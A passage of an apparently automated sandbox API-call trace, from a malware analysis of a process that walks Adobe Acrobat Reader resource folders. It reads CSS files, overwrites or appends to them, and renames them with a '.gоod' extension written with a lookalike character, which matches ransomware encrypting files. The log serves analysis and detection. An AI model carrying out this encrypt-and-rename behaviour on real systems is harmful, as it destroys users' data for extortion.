ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0267.165] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.165] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0267.166] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0267.166] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0267.166] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.166] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0267.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0267.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0267.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0267.167] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css", lpFilePart=0x0) returned 0x76 [0267.167] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0267.167] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.168] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0267.168] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0267.168] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.168] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0267.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0267.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0267.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0267.168] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css", lpFilePart=0x0) returned 0x76 [0267.168] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0267.168] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0267.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0267.169] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0267.169] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0267.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0267.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0267.169] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", lpFilePart=0x0) returned 0x88 [0267.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0267.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x39e1190 | out: lpFileInformation=0x39e1190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb)) returned 1 [0267.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0267.170] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", lpFilePart=0x0) returned 0x88 [0267.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0267.170] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0267.170] GetFileType (hFile=0x768) returned 0x1 [0267.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0267.170] GetFileType (hFile=0x768) returned 0x1 [0267.170] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x4cb [0267.171] ReadFile (in: hFile=0x768, lpBuffer=0x39e1a48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x39e1a48*, lpNumberOfBytesRead=0x203ec6b8*=0x4cb, lpOverlapped=0x0) returned 1 [0267.171] CloseHandle (hObject=0x768) returned 1 [0267.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", lpFilePart=0x0) returned 0x88 [0267.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0267.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0267.563] GetFileType (hFile=0x858) returned 0x1 [0267.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0267.563] GetFileType (hFile=0x858) returned 0x1 [0267.563] WriteFile (in: hFile=0x858, lpBuffer=0x398ea00*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x398ea00*, lpNumberOfBytesWritten=0x203ec5c8*=0x4d0, lpOverlapped=0x0) returned 1 [0267.563] CloseHandle (hObject=0x858) returned 1 [0267.563] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css", lpFilePart=0x0) returned 0x88 [0267.563] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css.gоod", lpFilePart=0x0) returned 0x8d [0267.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0267.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9bb19ebd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1 [0267.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0267.564] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main-selector.css.gоod")) returned 1 [0267.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", lpFilePart=0x0) returned 0x7f [0267.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0267.565] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x398fe28 | out: lpFileInformation=0x398fe28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e)) returned 1 [0267.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0267.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", lpFilePart=0x0) returned 0x7f [0267.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0267.566] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0267.566] GetFileType (hFile=0x858) returned 0x1 [0267.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0267.566] GetFileType (hFile=0x858) returned 0x1 [0267.566] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0267.566] ReadFile (in: hFile=0x858, lpBuffer=0x3990310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x3990310*, lpNumberOfBytesRead=0x203ec758*=0x26e, lpOverlapped=0x0) returned 1 [0268.791] CloseHandle (hObject=0x858) returned 1 [0268.791] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", lpFilePart=0x0) returned 0x7f [0268.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0268.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0268.791] GetFileType (hFile=0x858) returned 0x1 [0268.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0268.791] GetFileType (hFile=0x858) returned 0x1 [0268.791] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x126e [0268.791] WriteFile (in: hFile=0x858, lpBuffer=0x378b168*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x378b168*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0268.891] CloseHandle (hObject=0x858) returned 1 [0268.894] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", lpFilePart=0x0) returned 0x7f [0269.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0269.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0269.031] GetFileType (hFile=0x768) returned 0x1 [0269.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0269.031] GetFileType (hFile=0x768) returned 0x1 [0269.032] ReadFile (in: hFile=0x768, lpBuffer=0x3753780, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x3753780*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0270.000] CloseHandle (hObject=0x768) returned 1 [0270.000] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", lpFilePart=0x0) returned 0x7f [0270.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0270.000] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0270.000] GetFileType (hFile=0x768) returned 0x1 [0270.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0270.001] GetFileType (hFile=0x768) returned 0x1 [0270.001] WriteFile (in: hFile=0x768, lpBuffer=0x371d208*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x371d208*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0270.001] CloseHandle (hObject=0x768) returned 1 [0270.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css", lpFilePart=0x0) returned 0x7f [0270.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css.gоod", lpFilePart=0x0) returned 0x84 [0270.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0270.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 